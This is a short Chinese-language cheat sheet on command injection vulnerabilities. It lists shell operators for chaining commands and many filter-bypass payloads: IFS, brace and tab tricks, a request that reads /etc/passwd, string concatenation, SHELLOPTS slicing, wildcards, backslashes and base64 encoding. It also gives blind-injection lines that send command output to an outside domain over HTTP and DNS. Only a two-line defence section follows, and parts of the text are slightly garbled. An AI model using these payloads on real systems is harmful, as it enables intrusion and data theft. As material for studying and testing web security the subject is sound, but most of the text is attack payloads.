命令执行漏洞
命令执行漏洞概述
代码执行漏洞是由于WEB应用程序过滤不严谨,导致用户可以通过请求将代码注入到WEB应用进行执行。例如SQL注入,是将SQL语句注入到SQL中进行执行。而PHP代码执行漏洞是将代码注入到WEB服务器中,最终在WEB服务器中进行执行。
命令执行漏洞绕过
命令操作符
1.cmd1 | cmd2
(|管道操作符)将cmd1的结果输出给cmd
2命令操作符2. cmd1 & cmd2
(&和号操作符)让命令在后台运行
3.cmd1 ; cmd2
(; 分号操作符)执行多条命令。
4.(cmd1 && cmd2 (&& 与操作符)
只有cmd1命令执行成功后,才会执行cmd2。
5.cmd1 || cmd2 (|| 或操作符)
cmd1执行失败,才会执行cmd2。
空格绕过
字符串拼接
IFS(内部域分隔),是Shell的内置变量,是一个用于分割字段的字符列表,默认值是空白(包括空格、tab、换行)。空格绕过
使用{}
例如{cat,text}
使用Tab
?_=cat%09/etc/passwd
在读取文件的时候利用重定向符
<>cat<>text cat<text
黑名单关键字绕过
字符串拼接
a=c;b=at;c=tex;d=t;$a$b${c}${d}
利用环境变量
echo ${SHELLOPTS}
echo ${SHELLOPTS:3:1}
${SHELLOPTS:3:1}at${IFS}text
使用空变量
Cat t${x}ext
利用Linux通配符(? *)
/bin/ca? tex?
使用反斜杠
\在bash中被解释为转义字符,用于去除一个单个字符的特殊意义,它保留了跟随在之后的字符的字面值,除了换行符。如果在反斜线之后出现换行字符,转义字符使行得以继续。
ca\
t tex\
t
使用base64编码
echo t | base64ca$(echo "dAo="|base64 -d) text
无回显情况
1.使用HTTP通道带出数据
curl www.baidu.com/'whoami'
2.使用DNS通道带出数据
ping 'whoami'.www.baidu.com
3.使用HTTP通道带出数据,数据经过base64编码
curl www.baidu.com/$(whoami|base64)
命令执行漏洞防御
1.命令执行函数的参数白名单,结合正则表达式来进行白名单限制。
2.对参数进行严格的过滤。